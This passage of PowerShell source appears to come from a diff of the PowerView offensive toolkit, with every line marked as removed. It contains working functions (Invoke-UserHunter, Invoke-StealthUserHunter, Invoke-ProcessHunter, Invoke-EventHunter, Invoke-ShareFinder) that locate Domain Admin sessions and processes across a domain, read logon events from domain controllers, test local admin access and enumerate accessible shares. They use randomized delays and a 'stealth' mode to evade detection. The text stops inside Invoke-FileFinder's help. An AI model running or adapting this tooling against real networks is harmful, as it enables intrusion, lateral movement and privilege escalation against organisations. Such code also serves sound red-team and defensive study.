'Domain' = $Domain - 'DomainController' = $DomainController - 'ADSpath' = $UserADSpath - 'Filter' = $UserFilter - 'AdminCount' = $AdminCount - 'AllowDelegation' = $AllowDelegation - } - - Write-Verbose "[*] Querying domain $Domain for users" - $TargetUsers += Get-NetUser @Arguments | ForEach-Object { - $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' $Domain - $User | Add-Member Noteproperty 'MemberName' $_.samaccountname - $User - } | Where-Object {$_} - - } - } - else { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController - } - } - - if (( (-not $ShowAll) -and (-not $ForeignUsers) ) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { - throw "[!] No users found to search for!" - } - - # script block that enumerates a server - $HostEnumBlock = { - param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName) - - # optionally check if the server is up first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - if(!$DomainShortName) { - # if we're not searching for foreign users, check session information - $Sessions = Get-NetSession -ComputerName $ComputerName - ForEach ($Session in $Sessions) { - $UserName = $Session.sesi10_username - $CName = $Session.sesi10_cname - - if($CName -and $CName.StartsWith("\\")) { - $CName = $CName.TrimStart("\") - } - - # make sure we have a result - if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) { - - $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { - - $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress - $FoundUser = New-Object PSObject - $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain - $FoundUser | Add-Member Noteproperty 'UserName' $UserName - $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress - $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName - - # Try to resolve the DNS hostname of $Cname - try { - $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName - $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName - } - catch { - $FoundUser | Add-Member NoteProperty 'SessionFromName' $Null - } - - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess) { - $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin - } - else { - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null - } - $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') - $FoundUser - } - } - } - } - if(!$Stealth) { - # if we're not 'stealthy', enumerate loggedon users as well - $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName - ForEach ($User in $LoggedOn) { - $UserName = $User.wkui1_username - # TODO: translate domain to authoratative name - # then match domain name ? - $UserDomain = $User.wkui1_logon_domain - - # make sure wet have a result - if (($UserName) -and ($UserName.trim() -ne '')) { - - $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { - - $Proceed = $True - if($DomainShortName) { - if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) { - $Proceed = $True - } - else { - $Proceed = $False - } - } - if($Proceed) { - $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress - $FoundUser = New-Object PSObject - $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain - $FoundUser | Add-Member Noteproperty 'UserName' $UserName - $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress - $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null - $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null - - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess) { - $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin - } - else { - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null - } - $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') - $FoundUser - } - } - } - } - } - } - } - - } - - process { - - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - 'TargetUsers' = $TargetUsers - 'CurrentUser' = $CurrentUser - 'Stealth' = $Stealth - 'DomainShortName' = $DomainShortName - } - - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } - - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } - - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" - $Counter = 0 - - ForEach ($Computer in $ComputerName) { - - $Counter = $Counter + 1 - - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName - $Result - - if($Result -and $StopOnSuccess) { - Write-Verbose "[*] Target user found, returning early" - return - } - } - } - - } -} - - -function Invoke-StealthUserHunter { - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] - [String[]] - $ComputerName, - - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] - [String] - $ComputerFile, - - [String] - $ComputerFilter, - - [String] - $ComputerADSpath, - - [String] - $GroupName = 'Domain Admins', - - [String] - $TargetServer, - - [String] - $UserName, - - [String] - $UserFilter, - - [String] - $UserADSpath, - - [ValidateScript({Test-Path -Path $_ })] - [String] - $UserFile, - - [Switch] - $CheckAccess, - - [Switch] - $StopOnSuccess, - - [Switch] - $NoPing, - - [UInt32] - $Delay = 0, - - [Double] - $Jitter = .3, - - [String] - $Domain, - - [Switch] - $ShowAll, - - [Switch] - $SearchForest, - - [String] - [ValidateSet("DFS","DC","File","All")] - $StealthSource ="All" - ) - # kick off Invoke-UserHunter with stealth options - Invoke-UserHunter -Stealth @PSBoundParameters -} - - -function Invoke-ProcessHunter { -<# - .SYNOPSIS - - Query the process lists of remote machines, searching for - processes with a specific name or owned by a specific user. - Thanks to @paulbrandau for the approach idea. - - Author: @harmj0y - License: BSD 3-Clause - - .PARAMETER ComputerName - - Host array to enumerate, passable on the pipeline. - - .PARAMETER ComputerFile - - File of hostnames/IPs to search. - - .PARAMETER ComputerFilter - - Host filter name to query AD for, wildcards accepted. - - .PARAMETER ComputerADSpath - - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER ProcessName - - The name of the process to hunt, or a comma separated list of names. - - .PARAMETER GroupName - - Group name to query for target users. - - .PARAMETER TargetServer - - Hunt for users who are effective local admins on a target server. - - .PARAMETER UserName - - Specific username to search for. - - .PARAMETER UserFilter - - A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" - - .PARAMETER UserADSpath - - The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER UserFile - - File of usernames to search for. - - .PARAMETER StopOnSuccess - - Switch. Stop hunting after finding after finding a target user/process. - - .PARAMETER NoPing - - Switch. Don't ping each host to ensure it's up before enumerating. - - .PARAMETER Delay - - Delay between enumerating hosts, defaults to 0 - - .PARAMETER Jitter - - Jitter for the host delay, defaults to +/- 0.3 - - .PARAMETER Domain - - Domain for query for machines, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER ShowAll - - Switch. Return all user location results. - - .PARAMETER SearchForest - - Switch. Search all domains in the forest for target users instead of just - a single domain. - - .PARAMETER Threads - - The maximum concurrent threads to execute. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target machine/domain. - - .EXAMPLE - - PS C:\> Invoke-ProcessHunter -Domain 'testing' - - Finds machines on the 'testing' domain where domain admins have a - running process. - - .EXAMPLE - - PS C:\> Invoke-ProcessHunter -Threads 20 - - Multi-threaded process hunting, replaces Invoke-ProcessHunterThreaded. - - .EXAMPLE - - PS C:\> Invoke-ProcessHunter -UserFile users.txt -ComputerFile hosts.txt - - Finds machines in hosts.txt where any members of users.txt have running - processes. - - .EXAMPLE - - PS C:\> Invoke-ProcessHunter -GroupName "Power Users" -Delay 60 - - Find machines on the domain where members of the "Power Users" groups have - running processes with a 60 second (+/- *.3) randomized delay between - touching each host. - - .LINK - - http://blog.harmj0y.net -#> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] - [String[]] - $ComputerName, - - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] - [String] - $ComputerFile, - - [String] - $ComputerFilter, - - [String] - $ComputerADSpath, - - [String] - $ProcessName, - - [String] - $GroupName = 'Domain Admins', - - [String] - $TargetServer, - - [String] - $UserName, - - [String] - $UserFilter, - - [String] - $UserADSpath, - - [ValidateScript({Test-Path -Path $_ })] - [String] - $UserFile, - - [Switch] - $StopOnSuccess, - - [Switch] - $NoPing, - - [UInt32] - $Delay = 0, - - [Double] - $Jitter = .3, - - [String] - $Domain, - - [String] - $DomainController, - - [Switch] - $ShowAll, - - [Switch] - $SearchForest, - - [ValidateRange(1,100)] - [Int] - $Threads, - - [Management.Automation.PSCredential] - $Credential - ) - - begin { - - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # random object for delay - $RandNo = New-Object System.Random - - Write-Verbose "[*] Running Invoke-ProcessHunter with delay of $Delay" - - ##################################################### - # - # First we build the host target set - # - ##################################################### - - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - - if(!$ComputerName) { - [array]$ComputerName = @() - - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain -Domain $Domain -Credential $Credential).name ) - } - - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath - } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" - } - } - - ##################################################### - # - # Now we build the user target set - # - ##################################################### - - if(!$ProcessName) { - Write-Verbose "No process name specified, building a target user set" - - # users we're going to be searching for - $TargetUsers = @() - - # if we want to hunt for the effective domain users who can access a target server - if($TargetServer) { - Write-Verbose "Querying target server '$TargetServer' for local users" - $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { - ($_.AccountName).split("/")[1].toLower() - } | Where-Object {$_} - } - # if we get a specific username, only use that - elseif($UserName) { - Write-Verbose "[*] Using target user '$UserName'..." - $TargetUsers = @( $UserName.ToLower() ) - } - # read in a target user list if we have one - elseif($UserFile) { - $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_} - } - elseif($UserADSpath -or $UserFilter) { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for users" - $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { - $_.samaccountname - } | Where-Object {$_} - } - } - else { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object { - $_.MemberName - } - } - } - - if ((-not $ShowAll) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { - throw "[!] No users found to search for!" - } - } - - # script block that enumerates a server - $HostEnumBlock = { - param($ComputerName, $Ping, $ProcessName, $TargetUsers, $Credential) - - # optionally check if the server is up first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - # try to enumerate all active processes on the remote host - # and search for a specific process name - $Processes = Get-NetProcess -Credential $Credential -ComputerName $ComputerName -ErrorAction SilentlyContinue - - ForEach ($Process in $Processes) { - # if we're hunting for a process name or comma-separated names - if($ProcessName) { - $ProcessName.split(",") | ForEach-Object { - if ($Process.ProcessName -match $_) { - $Process - } - } - } - # if the session user is in the target list, display some output - elseif ($TargetUsers -contains $Process.User) { - $Process - } - } - } - } - - } - - process { - - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - 'ProcessName' = $ProcessName - 'TargetUsers' = $TargetUsers - 'Credential' = $Credential - } - - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } - - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } - - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" - $Counter = 0 - - ForEach ($Computer in $ComputerName) { - - $Counter = $Counter + 1 - - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $Credential - $Result - - if($Result -and $StopOnSuccess) { - Write-Verbose "[*] Target user/process found, returning early" - return - } - } - } - } -} - - -function Invoke-EventHunter { -<# - .SYNOPSIS - - Queries all domain controllers on the network for account - logon events (ID 4624) and TGT request events (ID 4768), - searching for target users. - - Note: Domain Admin (or equiv) rights are needed to query - this information from the DCs. - - Author: @sixdub, @harmj0y - License: BSD 3-Clause - - .PARAMETER ComputerName - - Host array to enumerate, passable on the pipeline. - - .PARAMETER ComputerFile - - File of hostnames/IPs to search. - - .PARAMETER ComputerFilter - - Host filter name to query AD for, wildcards accepted. - - .PARAMETER ComputerADSpath - - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER GroupName - - Group name to query for target users. - - .PARAMETER TargetServer - - Hunt for users who are effective local admins on a target server. - - .PARAMETER UserName - - Specific username to search for. - - .PARAMETER UserFilter - - A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" - - .PARAMETER UserADSpath - - The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER UserFile - - File of usernames to search for. - - .PARAMETER NoPing - - Don't ping each host to ensure it's up before enumerating. - - .PARAMETER Domain - - Domain for query for machines, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER SearchDays - - Number of days back to search logs for. Default 3. - - .PARAMETER SearchForest - - Switch. Search all domains in the forest for target users instead of just - a single domain. - - .PARAMETER Threads - - The maximum concurrent threads to execute. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS C:\> Invoke-EventHunter - - .LINK - - http://blog.harmj0y.net -#> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] - [String[]] - $ComputerName, - - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] - [String] - $ComputerFile, - - [String] - $ComputerFilter, - - [String] - $ComputerADSpath, - - [String] - $GroupName = 'Domain Admins', - - [String] - $TargetServer, - - [String[]] - $UserName, - - [String] - $UserFilter, - - [String] - $UserADSpath, - - [ValidateScript({Test-Path -Path $_ })] - [String] - $UserFile, - - [String] - $Domain, - - [String] - $DomainController, - - [Int32] - $SearchDays = 3, - - [Switch] - $SearchForest, - - [ValidateRange(1,100)] - [Int] - $Threads, - - [Management.Automation.PSCredential] - $Credential - ) - - begin { - - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # random object for delay - $RandNo = New-Object System.Random - - Write-Verbose "[*] Running Invoke-EventHunter" - - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain -Credential $Credential).name ) - } - - ##################################################### - # - # First we build the host target set - # - ##################################################### - - if(!$ComputerName) { - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - elseif($ComputerFilter -or $ComputerADSpath) { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath - } - } - else { - # if a computer specifier isn't given, try to enumerate all domain controllers - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for domain controllers" - $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.dnshostname} - } - } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" - } - } - - ##################################################### - # - # Now we build the user target set - # - ##################################################### - - # users we're going to be searching for - $TargetUsers = @() - - # if we want to hunt for the effective domain users who can access a target server - if($TargetServer) { - Write-Verbose "Querying target server '$TargetServer' for local users" - $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { - ($_.AccountName).split("/")[1].toLower() - } | Where-Object {$_} - } - # if we get a specific username, only use that - elseif($UserName) { - # Write-Verbose "[*] Using target user '$UserName'..." - $TargetUsers = $UserName | ForEach-Object {$_.ToLower()} - if($TargetUsers -isnot [System.Array]) { - $TargetUsers = @($TargetUsers) - } - } - # read in a target user list if we have one - elseif($UserFile) { - $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_} - } - elseif($UserADSpath -or $UserFilter) { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for users" - $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { - $_.samaccountname - } | Where-Object {$_} - } - } - else { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { - $_.MemberName - } - } - } - - if (((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { - throw "[!] No users found to search for!" - } - - # script block that enumerates a server - $HostEnumBlock = { - param($ComputerName, $Ping, $TargetUsers, $SearchDays, $Credential) - - # optionally check if the server is up first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - # try to enumerate - if($Credential) { - Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { - # filter for the target user set - $TargetUsers -contains $_.UserName - } - } - else { - Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { - # filter for the target user set - $TargetUsers -contains $_.UserName - } - } - } - } - - } - - process { - - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - 'TargetUsers' = $TargetUsers - 'SearchDays' = $SearchDays - 'Credential' = $Credential - } - - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } - - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } - - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" - $Counter = 0 - - ForEach ($Computer in $ComputerName) { - - $Counter = $Counter + 1 - - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays, $Credential - } - } - - } -} - - -function Invoke-ShareFinder { -<# - .SYNOPSIS - - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputer, then for - each server it lists of active shares with Get-NetShare. Non-standard shares - can be filtered out with -Exclude* flags. - - Author: @harmj0y - License: BSD 3-Clause - - .PARAMETER ComputerName - - Host array to enumerate, passable on the pipeline. - - .PARAMETER ComputerFile - - File of hostnames/IPs to search. - - .PARAMETER ComputerFilter - - Host filter name to query AD for, wildcards accepted. - - .PARAMETER ComputerADSpath - - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER ExcludeStandard - - Switch. Exclude standard shares from display (C$, IPC$, print$ etc.) - - .PARAMETER ExcludePrint - - Switch. Exclude the print$ share. - - .PARAMETER ExcludeIPC - - Switch. Exclude the IPC$ share. - - .PARAMETER CheckShareAccess - - Switch. Only display found shares that the local user has access to. - - .PARAMETER CheckAdmin - - Switch. Only display ADMIN$ shares the local user has access to. - - .PARAMETER NoPing - - Switch. Don't ping each host to ensure it's up before enumerating. - - .PARAMETER Delay - - Delay between enumerating hosts, defaults to 0. - - .PARAMETER Jitter - - Jitter for the host delay, defaults to +/- 0.3. - - .PARAMETER Domain - - Domain to query for machines, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER SearchForest - - Switch. Search all domains in the forest for target users instead of just - a single domain. - - .PARAMETER Threads - - The maximum concurrent threads to execute. - - .EXAMPLE - - PS C:\> Invoke-ShareFinder -ExcludeStandard - - Find non-standard shares on the domain. - - .EXAMPLE - - PS C:\> Invoke-ShareFinder -Threads 20 - - Multi-threaded share finding, replaces Invoke-ShareFinderThreaded. - - .EXAMPLE - - PS C:\> Invoke-ShareFinder -Delay 60 - - Find shares on the domain with a 60 second (+/- *.3) - randomized delay between touching each host. - - .EXAMPLE - - PS C:\> Invoke-ShareFinder -ComputerFile hosts.txt - - Find shares for machines in the specified hosts file. - - .LINK - http://blog.harmj0y.net -#> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] - [String[]] - $ComputerName, - - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] - [String] - $ComputerFile, - - [String] - $ComputerFilter, - - [String] - $ComputerADSpath, - - [Switch] - $ExcludeStandard, - - [Switch] - $ExcludePrint, - - [Switch] - $ExcludeIPC, - - [Switch] - $NoPing, - - [Switch] - $CheckShareAccess, - - [Switch] - $CheckAdmin, - - [UInt32] - $Delay = 0, - - [Double] - $Jitter = .3, - - [String] - $Domain, - - [String] - $DomainController, - - [Switch] - $SearchForest, - - [ValidateRange(1,100)] - [Int] - $Threads - ) - - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # random object for delay - $RandNo = New-Object System.Random - - Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay" - - # figure out the shares we want to ignore - [String[]] $ExcludedShares = @('') - - if ($ExcludePrint) { - $ExcludedShares = $ExcludedShares + "PRINT$" - } - if ($ExcludeIPC) { - $ExcludedShares = $ExcludedShares + "IPC$" - } - if ($ExcludeStandard) { - $ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$") - } - - # if we're using a host file list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - - if(!$ComputerName) { - [array]$ComputerName = @() - - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath - } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.count) -eq 0) { - throw "No hosts found!" - } - } - - # script block that enumerates a server - $HostEnumBlock = { - param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin) - - # optionally check if the server is up first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - # get the shares for this host and check what we find - $Shares = Get-NetShare -ComputerName $ComputerName - ForEach ($Share in $Shares) { - Write-Verbose "[*] Server share: $Share" - $NetName = $Share.shi1_netname - $Remark = $Share.shi1_remark - $Path = '\\'+$ComputerName+'\'+$NetName - - # make sure we get a real share name back - if (($NetName) -and ($NetName.trim() -ne '')) { - # if we're just checking for access to ADMIN$ - if($CheckAdmin) { - if($NetName.ToUpper() -eq "ADMIN$") { - try { - $Null = [IO.Directory]::GetFiles($Path) - "\\$ComputerName\$NetName `t- $Remark" - } - catch { - Write-Verbose "Error accessing path $Path : $_" - } - } - } - # skip this share if it's in the exclude list - elseif ($ExcludedShares -NotContains $NetName.ToUpper()) { - # see if we want to check access to this share - if($CheckShareAccess) { - # check if the user has access to this path - try { - $Null = [IO.Directory]::GetFiles($Path) - "\\$ComputerName\$NetName `t- $Remark" - } - catch { - Write-Verbose "Error accessing path $Path : $_" - } - } - else { - "\\$ComputerName\$NetName `t- $Remark" - } - } - } - } - } - } - - } - - process { - - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - 'CheckShareAccess' = $CheckShareAccess - 'ExcludedShares' = $ExcludedShares - 'CheckAdmin' = $CheckAdmin - } - - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } - - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } - - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" - $Counter = 0 - - ForEach ($Computer in $ComputerName) { - - $Counter = $Counter + 1 - - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin - } - } - - } -} - - -function Invoke-FileFinder { -<# - .SYNOPSIS - - Finds sensitive files on the domain. - - Author: @harmj0y - License: BSD 3-Clause - - .DESCRIPTION - - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputer, grabs - the readable shares for each server, and recursively searches every - share for files with specific keywords in the name. - If a share list is passed, EVERY share is enumerated regardless of - other options. - - .PARAMETER ComputerName - - Host array to enumerate, passable on the pipeline. - - .PARAMETER ComputerFile - - File of hostnames/IPs to search. - - .PARAMETER ComputerFilter - - Host filter name to query AD for, wildcards accepted. - - .PARAMETER ComputerADSpath - - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER ShareList - - List if \\HOST\shares to search through. - - .PARAMETER Terms - - Terms to search for. - - .PARAMETER OfficeDocs - - Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) - - .PARAMETER FreshEXEs - - Switch. Find .EXEs accessed within the last week. - - .PARAMETER LastAccessTime - - Only return files with a LastAccessTime greater than this date value. - - 